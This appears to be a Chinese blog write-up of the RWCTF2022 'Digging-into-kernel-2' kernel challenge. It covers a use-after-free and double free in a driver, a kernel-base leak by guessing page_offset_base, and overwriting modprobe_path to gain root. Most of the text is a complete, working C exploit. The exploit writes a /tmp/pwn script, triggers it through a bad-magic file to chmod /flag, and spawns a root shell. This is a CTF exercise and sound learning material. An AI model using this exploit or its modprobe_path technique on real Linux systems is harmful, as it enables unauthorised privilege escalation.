【modprobe_path】RWCTF2022-Digging-into-kernel-2

启动脚本:

qemu-system-x86_64 \
        -kernel bzImage \
        -initrd rootfs.cpio \
        -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kaslr" \
        -cpu kvm64,+smep,+smap \
        -monitor null \
        --nographic \
        -s

开启了 smep、smap、kaslr保护。

程序分析

 单独创建了一个 kmem_cache,但是这里按理说会跟 kmalloc-192 合并。

然后就是白给的 UAF(跟 babydriver 那题简直一模一样)

 并给了读写和创建堆块的能力

经过测试程序并没有开启 slab_freelist_hardened 保护,所以可以直接 double free。并且 freelist 指针的 offset 为 0。

所以这里我本想利用 user_key_payload 去泄漏内核基地址的,但是我似乎发现当我 revoke 时,该堆块就立马被占用了,不知道啥原因。

所以就参考了 ctf-wiki 上面的方法直接猜 page_offset_base,然后利用 page_offset_base+0x9d000 位置存储的 secondary_startup_64 去泄漏内核基地址。最后 double free 去修改 modprobe_path。

这里我还尝试去打 n_tty_ops,但是最后 n_tty_ops 被破坏了,尽管成功提权了,但是无法交互。然后我最后将 n_tty_ops 给修复了,结果还是不行。最后我去网上搜了一下,发现别人的 exp 却可以,无语了......

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct node {
        char* ptr;
        unsigned int offset;
        unsigned int size;
};

void add(int fd)
{
        struct node n = { 0 };
        ioctl(fd, 0x1111111, &n);
}

void xread(int fd, char* ptr, unsigned int offset, unsigned int size)
{
        struct node n = { .ptr = ptr, .offset = offset, .size = size };
        ioctl(fd, 0x7777777, &n);
}

void xwrite(int fd, char* ptr, unsigned int offset, unsigned int size)
{
        struct node n = { .ptr = ptr, .offset = offset, .size = size };
        ioctl(fd, 0x6666666, &n);
}

void get_flag()
{
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/pwn");
        system("chmod +x /tmp/pwn");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/good");
        system("chmod +x /tmp/good");
        system("/tmp/good");
        sleep(1);
        system("cat /flag");
        exit(0);
}

#define SECONDARY_STARTUP_64 0xffffffff81000030
#define MODPROBE_PATH 0xffffffff82444700
int main(int argc, char** argv, char** env)
{
        bind_core(0);
        int fd[3];
        size_t heap_addr;
        size_t page_offset_base;
        size_t kernel_offset;
        size_t buf[0x50] = { 0 };
        char* pwn = "\x00\x00\x00\x00\x00\x00\x00\x00/tmp/pwn\x00\x00\x00\x00";
        for (int i = 0; i < 3; i++)
                if ((fd[i] = open("/dev/xkmod", O_RDONLY)) < 0) err_exit("open xkmod");

        add(fd[0]);
        close(fd[0]);
        xread(fd[1], buf, 0, 0x50);
        binary_dump("free object data", buf, 0x50);
        heap_addr = buf[0];
        page_offset_base = heap_addr & 0xfffffffff0000000;
        hexx("heap_addr", heap_addr);
        hexx("Guessing page_offset_base", page_offset_base);

        buf[0] = page_offset_base+0x9d000-0x10;
        xwrite(fd[1], buf, 0, 8);

        add(fd[1]);
        add(fd[1]);
        xread(fd[1], buf, 0, 0x50);
        binary_dump("free object data", buf, 0x50);
        if ((buf[2] < 0xffffffff81000000) || ((buf[2]&0xfff) != 0x30)) err_exit("Failed to kmalloc the secondary_startup_64");
        kernel_offset = buf[2] - SECONDARY_STARTUP_64;
        hexx("kernel_offset", kernel_offset);

        add(fd[1]);
        close(fd[1]);
        buf[0] = kernel_offset+MODPROBE_PATH-8;
        xwrite(fd[2], buf, 0, 8);

        add(fd[2]);
        add(fd[2]);

        xwrite(fd[2], pwn, 0, 20);
        get_flag();
        return 0;
}

最后效果如下:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值